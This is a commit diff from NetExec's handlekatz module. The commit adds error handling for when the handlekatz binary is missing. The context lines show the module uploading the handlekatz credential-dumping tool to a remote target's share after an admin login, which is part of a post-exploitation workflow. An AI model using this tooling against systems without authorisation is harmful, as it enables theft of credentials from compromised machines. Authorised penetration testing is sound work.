fix: inform user if handlekatz file doesnt exist
parent
b01384d1ec
commit
25e4248ccb
|
@ -1,5 +1,4 @@
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
|
||||||
|
|
||||||
# handlekatz module for nxc python3
|
# handlekatz module for nxc python3
|
||||||
# author of the module : github.com/mpgn
|
# author of the module : github.com/mpgn
|
||||||
|
@ -52,12 +51,19 @@ class NXCModule:
|
||||||
self.dir_result = module_options["DIR_RESULT"]
|
self.dir_result = module_options["DIR_RESULT"]
|
||||||
|
|
||||||
def on_admin_login(self, context, connection):
|
def on_admin_login(self, context, connection):
|
||||||
|
handlekatz_loc = self.handlekatz_path + self.handlekatz
|
||||||
|
|
||||||
if self.useembeded:
|
if self.useembeded:
|
||||||
with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
|
try:
|
||||||
|
with open(handlekatz_loc, "wb") as handlekatz:
|
||||||
handlekatz.write(self.handlekatz_embeded)
|
handlekatz.write(self.handlekatz_embeded)
|
||||||
|
except FileNotFoundError as e:
|
||||||
|
context.log.fail(f"Handlekatz file specified '{handlekatz_loc}' does not exist!")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
|
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
|
||||||
with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
|
|
||||||
|
with open(handlekatz_loc, "rb") as handlekatz:
|
||||||
try:
|
try:
|
||||||
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
|
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
|
||||||
context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}")
|
context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}")
|
||||||
|
|
Loading…
Reference in New Issue